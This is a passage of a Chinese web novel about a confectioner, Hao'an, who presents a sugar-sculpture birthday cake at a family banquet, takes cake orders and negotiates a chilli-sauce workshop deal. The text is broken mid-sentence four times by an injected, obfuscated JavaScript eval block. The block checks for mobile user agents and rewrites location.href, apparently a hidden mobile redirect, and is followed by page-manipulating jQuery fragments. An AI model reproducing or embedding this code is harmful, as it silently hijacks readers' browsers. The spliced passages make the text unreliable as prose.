王宣头未动目光却瞬间移开，顿了片刻后淡定地拢了把长衫，一边转身，一边幽幽地丢出两字：“想家。” “？” 不是在家呢吗？ 王宁四下瞅了瞅，半黄半绿，半秃半暗。只有冷风迎面而来。 脑子里毫无点墨的王宁发出疑问：这就是文人喜好的风雅吗？ 王宣到了楼下，吩咐楼下的小厮：“从这一片到正院，赶紧把路上的石子枯枝全都清干净了。” 脑袋吹得凉凉的王宁不解，问道：“石子也清干嘛？又不碍事。” “表姨祖母住在附近。她腿脚不便还是留意些好。”王宣理所应当道。 “？” 表姨祖母又不是残了瘸了，小石子碍她事吗？而且表姨祖母不是已经在老太太那里吗？ 对了，说到表姨祖母，王宁赶紧告诉他哥，有人在呼唤他。 王宁回忆了在场诸位，说道：“表姨祖母家的表妹今天也在。这么关心她祖母，看来你俩还挺有缘。” “……” “你一人回去吧。表姨祖母家的表妹也在，说不定是喊你相看。我还是去翠竹苑看好安搭贺礼。”说完，王宁转身却被王宣一把拉住：“你去监督他们清路。” “我不要，清路多无聊，我要找……”王宁话未说完，被王宣一个眼神压住。 “我，我看在你是我哥的份上，就勉为其难的答应吧。” 另一边的好安已经开始做收尾工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245428|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这年代的寿宴正场都是在中午，一方面是中午光线好便于活动，另一方面是午时阳气最盛，象征着长寿和活力，此时举办寿宴乃天时地利人和。 一切安装妥当，好安在生日蛋糕上面卡了个方方正正的竹罩。外面再盖上一层红布，主打一个喜庆。 “什么时辰了？”好安问门口的丫鬟。 “离午时还差半个时辰。” 半个时辰就是一小时。 好安连忙去屋内换下身上的工作服，再出来时像是换了个人。 云堆翠髻、面如朝霞。 酡颜提花短袄配玉簪绣花褶裙，既不喧宾夺主，也不落人下风。 好安拿着团扇在谢宗林面前转了一圈，问道：“好看吗？” 好安在此方面从未如此直白过，谢宗林顿时面若火烧，结巴道：“好，好看。” 好安“唰”一下弹出四根手指：“四十两。生日蛋糕必须给我赚回四十两，不然就是亏本。” “今天？今天怎么赚？”谢宗林红着脸问道。 “没说要今天。今天的任务就是让生日蛋糕惊艳众人，然后让那些宾客看得心痒痒！最后都来找我定制。”好安大声问道：“有信心吗？！” “有。” 好安：“声音大点！” “有！”谢宗林一嗓子吼出来，把门口的丫鬟都下了一跳。 “这就对了！” 好安忽然伸出手背，想叠手加油，谢宗林没懂，看了眼好安手上的戒指，认真道：“这个也要赚回来！” 虽然尴尬，但怎么不算孺子可教呢。 好安点点头化掌为拳，竖在胸前道：“加油！” 说完，二人便推着改良过的北欧风小推车朝正院走去。 一路出奇的平顺，好安去给老夫人贺寿，谢宗林则作为小厮要守在贺礼旁。 人生地不熟的，当然不能一人去，得拉着王宁。同时王宁也在满场找好安。 王宁今天一如既往的花枝招展，十分醒目。好安在一丈远处便看见了他，朝他招了好几次手，可王宁仿佛瞎了一般，视线从她身上落了一下又移开了，甚至还扬了扬脖子。 好气哦，她妆前妆后差距这么大吗？ “这。”好安面无表情的走过去戳了戳王宁。 “啊？啊！呦——”王宁露出欠揍的神情。 “呦什么呦。”好安握紧拳头，忍住，要揍也明天揍。 “快带我去贺寿。” “啧啧啧。我还真没认出来。”王宁唏嘘道：“刚刚你一直招手，我还想是不是我今天过于丰神俊朗，引得那位小娘子青睐。” “没想到是你。”说着，还露出一丝遗憾的神色。 贺礼不论什么情况都要在开宴前送达，以示尊重。 现在离午时越来越近，宾客几乎都来了。好安忍不住催道：“这位丰神俊朗，迷死万千想娘子的小郎君赶紧走吧。” 不花钱就能听好安拍马屁，王宁十分满意道：“走吧。” 上一个送贺礼的正好离开，好安看王宁和谢宗林都已归位，便大大方方的上前。 两手握拳，置于腹部，右脚后撤，两膝委曲，低眉颔首。 “晚辈好安今日特来为老夫人祝寿。愿老夫人椿龄无尽，福寿如山。” “呦，这是哪家的孩子？长得这么标志！” 王老妇人虽然六十了，但保养得极好，眼睛亮而有神，除了两鬓的点点花白，不然根本看出年纪。 就是这个“呦”，看来是一脉相传。 王篱之前见过好安，正要开口，便听王宁一时嘴快道：“这是我的好兄弟！” 王老夫人：“呦！” “什么好兄弟，人家是个小娘子！”王篱连忙训斥道。 王宁：“那就好姐妹！” 王篱：“一天到晚胡说，今天看在母亲的份上就绕过你，还不赶紧和人家道歉。”说着歉意地看向好安，重新向王老夫人介绍。 57. 糖塑 只要不是问句，好安笑就行。 王老太太笑道：“呦好记呀，我昨天还吃了呢。” “谢老夫人垂爱。”好安笑道。 “好记？”坐在一边的二叔忽然开口道：“冰粉就是你想出来的？” “是的。”好安笑着点头。 “是个聪慧的姑娘。”二叔赞道。 “这是我二叔，王记酒楼的东家。”王宁介绍。 第一次见到王记东家，好安笑着伏了付身。 “这，我姑、我哥、我弟、我妹……” 好安快笑不过来了。 “不成体统，有你这么介绍人的嘛！”一个中年男声从身后传来。 “这，我爹。”王宁仗着今天祖母过寿，没人会训他，天不怕地不怕地催促道：“快上贺礼。” 好安送了什么他可太好奇啦。 时间也不早了，好安朝谢宗林看了一眼，亮相吧大宝贝。 最外面的红布和竹罩已经被拿走，露出里面一个半人高像蛋一样的东西。 没人见过，一时大家都好奇地盯过来。 “有火折子吗？”好安问道。 二叔：“给。” 好安双手接过，高举过头顶，点燃“蛋”尖上的引线。与此同时，谢宗林上好发条。 二人快速闪离，眨眼间“蛋壳”冒出一串细小的烟花，然后唰一下张开旋转，露出藏在里面的东西。 天知道好安废了多大劲才没哼出声来。 一层一层落下的“蛋壳”化作莲花花瓣，将半人高的蛋糕托在中间。 “哇，好好看！”王老太太身边的两个奶娃娃发出惊叹。 今天的生日蛋糕可不是简单的裱花。每层好安都花了心思。 第一层是九棵四季常青的松柏环绕在蛋糕边。每一棵都能看清上面的松针。 第二层是六棵硕果累累的仙桃树，托着最上层的三只姿态各异的仙鹤。 仙鹤中间站着一个女子，神情端庄，气质脱俗，一手提着寿酒，一手拿着仙桃，周身祥云围绕，给人一种飘然若仙的感觉。 “是麻姑，麻姑来给母亲贺寿了！”王篱激动道。 “是啊。”王老夫人面露惊喜，连忙起身凑上前去。 生日蛋糕上的一切，好安都下了心思。 麻姑是最普遍的献寿人物，谁家过寿家里都要挂上一幅。 选择三六九这三个数字也是有说法的。 一生二，二生三，三生万物。三象征着万物起源，也象征事物的完整圆满，隐含对长寿的期许。 六同“禄”，寓意极佳。又是六十大寿，一甲子轮回，愿福泽广被，六合同春。 九极阳之数，尊贵长久。九九归一，循环不息，贺得了高寿，盼得了新机。 蛋糕足足旋转了一整圈才停下，院子里不少宾客也被吸引过来，围着窃窃私语。 好安看着众人的反应，便知道成了。 “糖塑？”二叔见多识广，但仍有一丝不确定。 “是。” 糖塑有吹、塑、浇三种，好安主要用吹和塑的工艺，并且结合了翻糖工艺。 “好好好！”王老夫人喜笑颜开，便没注意身边的两个皮猴子。 众人正欣赏这栩栩如生的麻姑贺寿时，莲花瓣间忽然冒出两个圆乎乎的小脑袋。 “啊呜。”两人猝不及防的朝最近的松柏咬去。 太小的咬空了，大一点的凭着身高优势结结实实的咬了一口松柏树根，含了一嘴的糖渣。 一旁奶妈吓得赶紧把两个奶娃娃抱起来。 “甜呜啊。”大的说完还咂了下嘴巴，一脸满足。 小的见自己没吃到但哥哥却吃到了，立刻嚎啕大哭。 “我们也吃甜甜的。”奶妈连忙从袖子里拿出一块蜜糖，抱着小小姐哄道。 可蜜块刚塞到嘴边就被躲开，小小姐抻着身板，伸着胳膊闹着回头看生日蛋糕，谁哄都没用。 收到的贺礼是要摆到正院供来客欣赏，现在一棵树缺了一大块树根还怎么摆放？ 王篱只觉得头大，真是两个小祖宗呦。 “这生辰糕本就用来吃的，能得青睐已是荣幸。”好安解围道：“不如由老夫人主切将生辰糕分于诸位，好让大伙都沾沾喜气。” “次，次！”奶娃娃兴奋地挥着胳膊。 话说得不利索，但已经能懂不少话。 “祖母福寿康宁，我们也想沾沾您的喜气。”王宣这么一说不少人跟着附和。 “好好好。”王老夫人接过王宁递来的竹刀，笑眯眯地切第一刀。 剩下的自然有下人代劳。 一切开，众人才发现糖塑之下还藏着鲍螺。 “这个吃起来和鲍螺有些不一样啊。” “口感更细腻顺滑。” “嗯~不加蜂蜜都很甜。” 刮了两勺，鲍螺之下居然还有东西。好记的东西真是越吃越有。 好安正要回自己的座位，王宁忽然悄悄说道：“你贺礼不能展示你一点都不生气？” 好安：“气什么？” 王宁：“你做的生辰糕要是放在院子里展示肯定能被更多的人看到，变得更出名。” “不，这就够了。”好安轻飘飘的摇了摇手指道：“神秘才是勾人的面纱。” 看到的人已经不少了，明天放点消息就行。 比如：少爷小姐嚎啕大哭，竟然是为了XXX，今年过寿不收礼，收礼只手生辰糕。 现场分到生日蛋糕的不在少数，反响也不错，到时候自有人主动安利。 好安身边坐的是一个年轻小娘子，小脸圆乎乎的，一看就是位美食求者。 “你就是好安！”小娘子激动地抓住好安的胳膊问道。 劲真大。 好安默默地抽回胳膊，笑着点头道：“是。” “你这个生辰糕里面黄黄软软的是什么。”小娘子的碟子里已经空空如也。 好安：“蛋糕胚。” “蛋糕胚里是不是还夹了什么东西！” 她分到了第二层的边边，一个寿桃和一小块鲍螺。她看有些人分到里面的，不仅有一大块蛋糕胚，中间还夹着什么红彤彤的东西。 好安不做隐瞒，直接回道：“第一层柿子酱、第二层山楂酱、第三层蜜橘酱。” 居然三种酱，她一种都没吃到！ 早知道就要中间的了，可中间的就没有寿桃了。 小娘子戳了戳手指，问道：“这个生辰糕你店里有卖吗？” “有啊，但明面上没有，是隐藏甜点。”好安说道：“需要提前预订。” “现在可以订吗？”小娘子说完就脱下手上的玉镯强行塞给好安。 “这……”好安愣住。 她想过会有订单，但没想到订单来的这么快就像龙卷风。 “是少了些。”不等好安开口，小娘子自顾自道：“这个也给你。” 说着，她从头上拔下一个珠钗。 她没看错的话这个是纯金的吧！ 好值钱，好想要，但做生意要讲良心。 好安用三秒的时间权衡再三后，问道：“您要什么尺寸的？” “尺寸？”对方一时难住。 好安连忙比划了几个圆道：“四寸的适合一到两人吃，六寸的四到六人，八寸的……” “我，我订六寸的。”小娘子说完心虚地摸了摸腰围。 她饭量大，那些弱柳扶风的小娘子一天都没她一顿吃得多。一天三顿，抵她们九顿，六寸才四到六人，就算六顿吧，她已经收敛很多了呢。 “您想要什么图案呢？”好安接着问道。 “还要选图案啊。”小娘子一下犯难。 好安：“我们店里有图册，您可以到我们店里选。” 不用自己凭空想，小娘子一口答应。 “六寸三两银子就够了，这个钗子退给您。” 好安面带微笑，心里忍不住赞叹自己：我可真善良。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252549|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有这玉镯，想来也不止三两……”好安的心在滴血，但还要保持微笑。 小娘子满不在乎的挥了挥手：“没事，帮我做好吃点就行。” 好安拼命按住上翘的嘴角，小声道：“那我给您独家定制！” 这样豪爽美丽善解人意出手大方的小姐少爷快给她多来点吧！ “好！”豪爽美丽善解人意出手大方的小娘子美滋滋道。 寿宴之后还有戏曲表演，好安原准备饭后就走但现在改变了主意。 果然不白呆，下午又来了两笔订单。 一天三笔，吉祥如意。 ———— 王老太太寿宴之后，生日蛋糕在权贵阶层彻底扬名，没几天就把之前的四十两赚回来了。 “祝你生日快乐，呼。祝你生日快乐，耶。”好安一边快乐的裱花，一边唱歌为自己庆祝时，铺子门前停了一辆华丽的马车。 率先探出头的正是在寿宴上第一个向他订生日蛋糕的小娘子——赵瑾瑜。 好安满脸笑容道：“是瑾瑜妹妹呀。” “安姐姐！”赵瑾瑜等不及下人拿来轿凳，直接蹦了下来。 她没有进店，而是小声地冲好安说道：“我给你介绍个人。” 说着，又回身抬手对着车里的人道：“表姐，我们到了。” 话音刚落，车里伸出一双玉手，十指如葱，纤纤不染。 她轻轻拨开车帘，一个简单的动作就做的勾人心魂。 接着探出身体，露出一张眉目如画却消瘦的脸。 她扶着赵瑾瑜，轻盈的踏上轿凳，动作优雅而又从容。 这姑娘什么都好就是太瘦了。 赵瑾瑜：“表姐，这就是万和县最好吃的点心铺！你上次吃的生辰糕就是这家的。” 说道生辰糕，来人的眼睛忽然亮了，抬眸看了眼上方的招牌，道：“好记甜品。” 说话细若蚊吟，行如弱柳扶风，林黛玉都没她虚。 好安朝赵瑾瑜点了点头，转头对她的表姐道：“请跟我来。” 虽然不是寒冬腊月，但二楼的火墙已经烧了起来。早上烧一会能暖和一整天。 好安便把她俩的位置安排在靠近火墙的包厢。 “这里比外面暖和。”赵瑾瑜脱下披风，表姐却还抱着手捂。 赵瑾瑜：“我表姐，宋敏萱。她喜欢吃生辰糕，我今天带她来店里吃。就是没来得及预订，不知道安姐姐能不能行行好匀给我们一个。” 赵瑾瑜扑腾着大眼，巴巴的看着好安。 “也是巧了，刚好还有个四寸的蛋糕胚，马上就给你做。”好安笑了笑，拿过桌子上的菜单道：“看看还要点什么，为了感谢你给我介绍贵客，我送你一份新品，正好帮我点评点评。” “新品！”赵瑾瑜两眼放光，好记的新品一般都很难买，“那我还要一份抹茶茉莉和一份黄油年糕！” “表姐，你看看你想吃什么？”赵瑾瑜晃着脑袋开心道。 宋敏萱：“抹茶是什么？” 如今万和县有钱有权人家的女眷好安几乎都见过，更别说和她非常熟络的赵家。这个姑娘她从没见过，也不知道抹茶，一定是个外地人。 赵瑾瑜：“一种茶粉。表姐你可以尝尝他们家的茉莉奶红或者黑糖珍珠奶茶，都是红茶做的。” “那就黑糖珍珠奶茶，要热的。”宋敏萱对好安点头笑道。 “没问题，二位请稍等。” 二人在楼上没呆多久，便回去了了。陈卫去收拾东西的时候，除了珍珠奶茶喝了几口，其他都吃得精光。 好安估摸着都是赵瑾瑜吃的，她这个表姐可能有厌食之类的问题。 宋敏萱如何好安并未关注，几天后赵瑾瑜却一个人来了。 “你表姐呢？”好安问道。 赵瑾瑜摇摇头道：“回家了。” “对了，安姐姐你接府城的生辰糕嘛？” 府城。 好安怦然心动，果断回道：“接！” 58. 雨天 宋敏萱一年前生了场大病，病好后对吃饭便提不起兴趣，感觉吃什么都没有胃口，人也越来不爱动弹。 这次母亲回家看望外祖父母强行把她带着，透透气。 万万没想到带对了。 侄女不仅活泼好动，还吃嘛嘛香！ 别人喝一口水就是喝水，她喝一口水就像在喝琼浆玉露。哪怕对方知道真的只是一碗水，也引人发馋。 宋母开心的不得了，给赵瑾瑜塞了好多漂亮首饰，让她带敏萱出去走动走动。 这一塞，可塞到赵瑾瑜心坎上了。天外来财不能不接，减肥的事情先放一放。 赵瑾瑜积极主动地带着表姐到处逛吃逛喝。 宋敏萱有胃口的就嚼两口。几天下来，虽然吃的还是很少，但比以往大有长进。 尤其生辰糕，宋敏萱不知不觉吃完了。 正好腊月初，宋敏萱过生辰，宋母便托赵瑾瑜帮她定一个生辰糕。 进了腊月便是年，又是在府城，赵瑾瑜原本担心好安不接，没想到她格外爽快。 “到时候我让我家车夫听你安排！”赵瑾瑜晃着圆圆的脑袋道。 好安：“提前一天就行。” 要不是现在晚上行路不安全，好安恨不得晚上出发，当一天特种兵。 “行！”赵瑾瑜立刻付了全款，生怕好安反悔似的。 银子入桶，发出清脆的声音，第一次府城的订单来了。 下午，忽然起风像是要下雨。 好安合上半扇门，想着要是下大雨也不会有什么人来，楼上也就剩几个客人，便让她们提前回去了。 没一会，风越来越大，不少地上的枯枝烂叶被卷起。 整条街上都没什么人了，店里只剩下好安和谢宗林。 “门要不再合上一块。”谢宗林挡在好安身前问道。 好安缩了缩脖子，道：“合上。” 谢宗林刚卡上一块门板，有人来了。 “王公子。” 王公子？ “老王来了？”好安兴奋地从收银台后探出脑袋。 结果定睛一看，不是王宁，是他哥王宣。 王宣一手握着伞，一手尴尬地摸了摸脸，问道：“我很老？” 自己好像确实比好安大不少。 “不是，王公子还年轻。”好安连忙起身致歉，她以为是王宁来谈冰粉的事情。 王宣：“还年轻？” “很年轻。”好安着重强调。 “应该吧。”王宣笑了笑，走到收银台。 不得不说，王宣长得顶呱呱，那双眼睛犹如早晨湖面泛起的薄雾，看谁都含情脉脉。 就从门口走到收银台的几步路，哪怕身上湿了大半，也走出一种宁静致远的感觉。 谢宗林盯着王宣的身影不由皱眉。 “您想吃些什么？”好安笑语盈盈。 这天气还跑来吃，看来对好记是真爱。 王宣隔着收银台道：“两份鲍螺甜筒，一杯糯香茉莉。” “好嘞，二楼稍等！” 王宣抬脚上楼。 店里只有这一个客人，好安不禁瞧去过。 这身板，宽肩窄腰，盆骨端正。要是放在现代开形体课肯定能赚大钱。 好安正分析这种身姿收多少钱一节课合适时，谢宗林忽然闪现在她的眼前。 “你也很棒。”好安拍了拍他的肱二头肌道。 两种不同的风格，都不错。 谢宗林莫名被夸了一句，不由耳朵一红。 要是没有这个“也”就更好了。 楼下二人各有各的新品，谁都没注意到王宣端着盘子下楼了。 “楼上太空荡，还有点冷，我可以做楼下吗？”王宣嘴角噙笑道。 好安：还没高低肩。 “楼下没有座位。”谢宗林一口回绝：“冷可以打包带回去吃。” “我的马车坏了，车夫已经去找人修了。”王宣一脸歉意道。 “楼下是没座位。” 想要坐楼下就得把连通厨房的后门打开，可这样容易漏风。 “那，楼下有暖和的地方吗？”王宣抬手轻轻揉了揉鼻子。 “你看这个行吗？” 厨房专门烧火墙的锅炉刚熄，收银台侧面这堵墙还暖和和的。 “你赶紧把身上的衣服烘一烘，防止冻着。”好安关心道。 隔着一个展示柜，谢宗林瞪了一眼王宣。 好安正帮王宣放甜点，好记大门响了。 “谁啊？”好安一边问道，一边示意谢宗林去看看。 “我，老王兄。” 谢宗林不由加快了开门的速度。 赶紧进来把你哥带走！ “我今天太忙了。上午送亲戚去码头，下午陪姐姐妹妹聊天。”王宁一进来就发牢骚：“尤其下午，明明都是冲着我哥来的，他到好不知道跑哪里躲清净去了，都让弟弟去扛。” 好安：“你哥……” 王宁一边从怀里抽出一份契书，一边无所畏惧道：“身为哥哥一点都没做哥哥的自觉，一把年纪也不成家，下次还是让我做——哥，你怎么在这？” 王宁手里的契书差点没拿稳。 一把年纪。 王宣笑了笑，手里的竹筒捏得更紧了。 好安瞅了王宣，又瞅了眼王宁：“你俩先聊还是我俩先聊。” “你们先聊。”王宣善解人意道。 “二楼请。”谢宗林连忙说道。 同时用身体挡住王宣看向好安的视线。 王宁误会道：“好兄弟，谢谢你。” 都是之前说好的，这次商谈很顺利。王宁今天来主要就是把契书先签订，配方和钱等契书过了衙门再交换。 “我哥怎么在这？”王宁在楼上磨磨蹭蹭。 他哥躲清闲也不至于躲到这吧。 好安：“你哥马车坏了。” “马车？”王宁皱眉想了想，觉得有些不对劲。 王宁来了，王宣的马车便不好再做借口。兄弟二人同乘回家。 回去的路上，王宣没什么好脸色。 他好不容易挤出空闲，天又下雨，本应该能和好安独处一段时间，结果被人搅和了，浑身散发着低气压。 虽然是自己的马车，但王宁挤在角落里一声也不敢不吭。他哥现在的周身气场就像小时候他拿他心爱的字帖当废纸画画一样低。 直到进了家门，他哥才翩然落下一句：“你最近是不是没去上课” 王宁：“！你怎么知道？” 王宣淡淡道：“《劝学》十遍。” 等王宁离开后，王宣对自己的贴身小厮低声道：“查查好安身边的那个人，悄悄查。” ———— 《劝学》完整版进两千字。十遍，王宁抄到丑时还没抄完。 不应该啊，他以前不是吐槽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259693|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他哥，他都没什么反应。，这次他怎么这么生气呢？ 肯定不是因为吐槽，难道是因为马车坏了。 不对。 王宁觉得怪怪的，但还是扔下笔墨溜去马厩。 马车牢得很，一点都没损坏或者换新的痕迹。 王宁索性坐在马车旁陷入沉思。 忽然他想起了一幅背影！ 他哥喜欢上那个背影，让他帮忙寻找。但他偷懒找好安冒充，偏偏他哥信以为真，然后对好安动了心思！ 对，一定是这样。 误会大了。 他哥怎么能看上他的好兄弟呢？ 阻止，可他哥年纪不小了，还没成家。 不阻止，可终归是个误会，以后万一揭开了双方心里都是疙瘩。 王宁陷入纠结，几乎一夜未眠，但好安睡得喷香。 雨一连下了三天，第四天才微微放晴。 王宁带着王记的三位厨子来到好记，准备学习如何制作冰粉。 “不用这么多。”好安拎了一桶凉白开：“说不定你看了都会。” “我？”王宁指了指自己。 好安：“对啊，很简单。” 说完，她给来人一人分了一个棉布兜。 “放水里搓，轻柔地搓。”好安指挥道。 三位厨子虽都和王家签了卖身契的，但深知学到一个方子的重要性，纷纷搓得十分卖力。 王宁看好安没说下一步，忍不住好奇问道：“就搓？” “就搓。” 一刻钟后，一位大厨惊呼道：“水变厚了！” “变厚就对了。”好安化手为勺舀了一掌心：“看到没，拉丝成这样就行了。” 王宁：“就行了？” “百分之八十已经完成，剩下就是放入井水或者冰库冷藏。”好记说道：“你们带回去冷藏，明天就知道结果。” 王宁：“没了？” “还有这个。”好安回屋翻出一株草干。 一位大厨说道：“这不是灯笼草吗？” “没错。你们搓的籽就是它的籽。”好安点头道：“新鲜的草籽用清水就能成功，要是时间长的草籽可以在水里兑一点静置过的草木灰水。” 王宁：“这就没了？” “水和籽的比例要注意下，我写给你。” 说完，好安又回屋拿出一大麻袋的草籽，道：“现在灯笼草没了，草籽可以从我这买，一斤，一斤五十文，兄弟价二十五文。” “我谢谢你。” 王宁的第一反应不是制作冰粉的居然是路边、井水边不起眼的野草，也不是好安一边买方子，一边买原材料，而是好安绝对不能嫁给他哥。 他哥的妻子以后必定掌王家中馈的，这职权要是给了好安，他能从她手里多领一分钱太阳就能打西边出来。 好安数完银锭子，问道：“之前的水煮肉片吃出来可吗？” “没。”王宁回道。 好安挑眉：“冬天已经来了，现在可是暖锅生意最好的时候。现在方子便宜卖哦，一百两要吗？” 要是以前王宁肯定偏向买下，但今天知道了冰粉配方后内心五味杂陈。 他知道美食都是来自土地的馈赠，重要的一双发现它的眼睛和创新的手。但一百两买随处可见的灯笼草，他心里还是有些堵的。 现在水煮肉片又是一百两，没吃出来的那一味肯定也是周边的东西。 59. 辣椒作坊 “万和县嗜甜，水煮肉片太辣不一定能畅销。”王宁说道。 “不不不。”好安连连摇摇头道：“格局要打开。大晏那么大，不能只看一个小小的万和县。” “万和县不爱吃辣不代表大晏不爱吃辣。 我们简单的类推一下，万和县两千多户，一万人有的吧，如果爱吃辣的只有百分之二，两百人，这两百人确实不值一百两。 但放眼整个大晏，几千万人！几千万人的百分之二就是几十万人！几十万人难道这不值一百两吗？” “只要你抓住这次机会，这几十万人都是你的客户！” 好安握拳，好像这几十万人尽在掌控之中。 “你说的是有几分道理。”王宁点头道。 “岂止几分，明明是满分！”好安说道：“这样的辣大家都没吃过，是个空白市场！” “说的容易做的难。”王宁不赞成。 “吃食行不了远路。夏天热起来隔天就搜，冬天就算能当个两三天味口也大打折扣。最好的办法就是去外地开店，但这种成本太高，不划算。” 王宁说的不无道理，但好安绝不放弃。 她低头沉思片刻，说道：“我不卖你方子了，我们合作如何？” “你不卖了？！”王宁震惊，他没想到好安如此看中这个配方。 看来这个方子真的值一百两！ 他突然有些后悔。 好安看破没说破，拿出纸笔问道：“合作吗？” 王宁沉默，他不同意的话，好安绝对就去找别人合作。 他只是想压价，不是想放弃。 “如何合作？”王宁问道。 “开厂。”好安言简意赅。 “开作坊？”王宁认识好安不短时间了，对她嘴里时不时冒出新词已经能很好的消化和理解。 好安：“对。你出资金，我出技术，开几条生产线做二次加工，延长他们得保质期。” “仔细说道说道。”王宁来了兴趣，能延长保质期就有很大的操作空间了。 “离得近的可以卖酱，离得远的可以卖干、粉……” 一直说到吃午饭，好安大饼，不计划都没说完，但王宁明显听上头了，下午带了王掌柜和一个账房先生又来了。 好安先说，然后王宁和王掌柜看是否合理，他们觉得合理了，最后让账房先生算。 一下午四人草拟了一份契书，开作坊的事情有了大的框架。 “多久能定下来？”好安问道。 迟一天就是少赚一天钱。 “这么多，钱，”王宁格外强调道：“得让我二叔过目一下。正好他在家，快的话就这几天，慢的就是凉了。” “行。” 几天她等得起。 第二天，好安便等来了答复——一张请帖，只不过邀请人不是王宁，而是王家二老爷。 看来事情受阻了。 请帖没要求时间，意味以好安的时间为准，也意味着事情可谈。 防止夜长梦多，好安换了身衣服便跟着小厮去了。 王家春有桃李夏有荫，秋有霜英冬有柏。哪怕寒风吹彻庭院也生机勃勃。 “二老爷，人来了。”丫鬟在门外道。 “请进。” 丫鬟闻言才为好安掀起厚厚的门帘。 室内，除了二老爷王宁也在。 “没想到好老板这么快就来了。”王二老爷道。 没想到你还准备这么齐全，分明就是等着她来。 好安笑笑，先行礼：“开设作坊是大事，每一刻都不值得浪费。” “好老板先坐，王宁看茶。”王二老爷瞥了眼站在一边的王宁。 “时间不值得浪费，这话说得好。那我也不兜圈子了。” 好安：“请讲。” “王宁昨天给我讲这份契书听起来确实不错，但我在里面没有看见好老板的诚心。” “一份契书是我和王宁共同商量过的结果，也是经过了贵府账房先生的核算，可谓是诚心诚意。不知您为何这样说？”好安不卑不亢道。 “诚心不是体现在这上面，而是东西上。”王二老爷点了点桌子上的契书道：“契书上提到的辣酱、辣油，这些东西我们可都没见过。” “这是秘方，契书过了衙门，好安自会告知。” 王二老爷笑了笑，说道：“一个没有实物的东西就要开作坊，是不是步子跨太大了。” 好安猛地屏住呼吸，没有实物，这点确实是硬伤。 好安：“不算没有实物，之前王宁吃过几次，什么滋味他是清楚的。” 王宁在一边点头：“吃过！” 王二老爷立刻一道眼风扫去，王宁迅速闭嘴。 “之前的水煮肉片我也略有耳闻，王记的厨子和家里的厨子都尝了，有一味一直没猜出来。想必没猜出来的这一味就那些辣酱、辣油的主要材料吧。” 好安点头承认。 “这一味你非要过完契书才说。”王二老爷的眼神忽然变得锋利：“那我是不是能理解为这一味很常见，常见到唾手可得。” 王二老爷不愧是东家，看东西一针见血。 辣椒现在虽是观赏性植物，但毕竟是从海外流入，稀缺性还是有的，可究竟不是奇珍异宝，不少人家都买得起。 “二老爷这是在套我话吗？您可不能因为冰粉原料常见就这样下定论。” 好安笑了笑：“不知二老爷做没做过饭，一道菜少加一点盐多加一点盐味道便截然不同。 方子除了原料，比例也很重要。” 王二老爷抿了口茶道：“如果这个东西常见，比例就不重要。” “不论什么东西，只要有市场终归都会变得常见。”好安反驳道。 “第一匹浮光锦问世是天价，是贡品，可现在叫得上名的布庄都有浮光锦。 第一个吃螃蟹的人，也不知道海滩上没人要的东西后来能呈上达官显贵的餐桌，甚至还养活了数千户渔民。 常见不常见是个假命题，最重要的是做第一个吃螃蟹的人。” 王二老爷放下茶碗，说道：“第一人固然重要，可你一个秘方我王家就要投入上百两的银钱，这太不公平。 若是以后赚的盆满钵满，自然是你好我好大家好。可若是亏了，我王家亏的可是实实在在的银子，不知好老板亏了什么？” …… 好安在王家说的口干舌燥，最终掏了五十两作为押金，开作坊的事才定下来，幸运的是分成比例没变。 舍小钱赚大钱，这腿肉她割了。 经过王二老爷点头，事情推进便快了，还没到好安操心的这一步，她一时清闲下来。 闲着没事，又没买到合适的人，好安便教谢宗林做点心。 谢宗林什么都好，就是放油放糖的比例总把控不好。 她腊月初要去县城，正是店里生意红火的时候，铺子绝对不能关门！ 一想到这，好安就斗志昂扬，誓要把谢宗林教会！ “糖多了。” “又少了。” 谢宗林和好昕就是两个极端，一个抖一抖就掉一层皮，一个抖一抖就剩个碗底。 她实在看不下去，直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264672|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接上手，握着谢宗林的手腕，挖了一勺糖。 好安：“这个重量记住了吗？” 谢宗林红着脸点头。 